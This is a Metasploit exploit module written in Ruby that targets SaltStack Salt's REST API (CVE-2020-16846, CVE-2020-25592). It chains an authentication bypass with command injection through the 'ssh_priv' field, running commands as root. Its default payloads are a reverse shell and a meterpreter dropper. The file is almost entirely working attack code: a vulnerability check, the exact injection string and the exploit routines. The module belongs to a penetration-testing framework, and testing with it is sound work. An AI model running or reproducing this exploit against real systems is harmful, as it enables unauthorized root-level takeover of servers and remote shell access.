William Vu
144 lines
4.3 KiB
Ruby
144 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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prepend Msf::Exploit::Remote::AutoCheck
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'SaltStack Salt REST API Arbitrary Command Execution',
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'Description' => %q{
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This module exploits an authentication bypass and command injection in
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SaltStack Salt's REST API to execute commands as the root user.
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The following versions have received a patch: 2015.8.10, 2015.8.13,
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2016.3.4, 2016.3.6, 2016.3.8, 2016.11.3, 2016.11.6, 2016.11.10,
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2017.7.4, 2017.7.8, 2018.3.5, 2019.2.5, 2019.2.6, 3000.3, 3000.4,
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3001.1, 3001.2, and 3002.
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Tested against 2019.2.3 from Vulhub and 3002 on Ubuntu 20.04.1.
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},
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'Author' => [
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'KPC', # CVE-2020-16846 (ZDI-CAN-11143)
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'wvu' # Exploit
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],
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'References' => [
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['CVE', '2020-16846'], # Command injection
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['CVE', '2020-25592'], # Auth bypass
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['URL', 'https://www.saltstack.com/blog/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/']
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],
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'DisclosureDate' => '2020-11-03', # Vendor advisory
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'License' => MSF_LICENSE,
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'Platform' => ['unix', 'linux'],
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'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
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'Privileged' => true,
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'Targets' => [
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[
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'Unix Command',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Type' => :unix_cmd,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
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}
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}
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],
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[
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'Linux Dropper',
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{
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Type' => :linux_dropper,
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'DefaultOptions' => {
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'CMDSTAGER::FLAVOR' => :bourne,
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'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
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}
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}
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]
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],
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'SSL' => true
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},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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}
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)
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)
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register_options([
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Opt::RPORT(8000),
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OptString.new('TARGETURI', [true, 'Base path', '/'])
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])
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end
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def check
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# /bin/sh -c 'ssh-keygen -P "" -f /dev/null < /dev/null & # -t rsa -q'
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res = send_request_cmd_inject('/dev/null < /dev/null & #')
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unless res
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return CheckCode::Unknown('Target did not respond to check.')
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end
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# Server: CherryPy/18.6.0
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unless res.headers['Server']&.match(%r{^CherryPy/[\d.]+$})
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return CheckCode::Unknown('Target does not appear to be running Salt.')
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end
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# {"return": [{}]}
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unless res.code == 200 && res.get_json_document['return'] == [{}]
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return CheckCode::Safe('Auth bypass failed.')
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end
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CheckCode::Vulnerable('Auth bypass successful.')
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end
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def exploit
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print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
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case target['Type']
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when :unix_cmd
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execute_command(payload.encoded)
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when :linux_dropper
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execute_cmdstager(background: true)
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end
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end
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def execute_command(cmd, _opts = {})
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vprint_status("Executing command: #{cmd}")
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# Subshell and background our command injection
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send_request_cmd_inject("/dev/null < /dev/null & (#{cmd}) & #")
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end
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def send_request_cmd_inject(cmd_inject)
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# https://docs.saltstack.com/en/latest/ref/netapi/all/salt.netapi.rest_cherrypy.html#post--run
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# https://github.com/saltstack/salt/pull/58871
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send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'run'),
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'ctype' => 'application/json',
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'data' => {
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'client' => 'ssh',
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'tgt' => '*',
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'fun' => rand_text_alphanumeric(8..42),
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'eauth' => rand_text_alphanumeric(8..42), # Auth bypass
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'ssh_priv' => cmd_inject # Command injection
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}.to_json
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)
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end
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end
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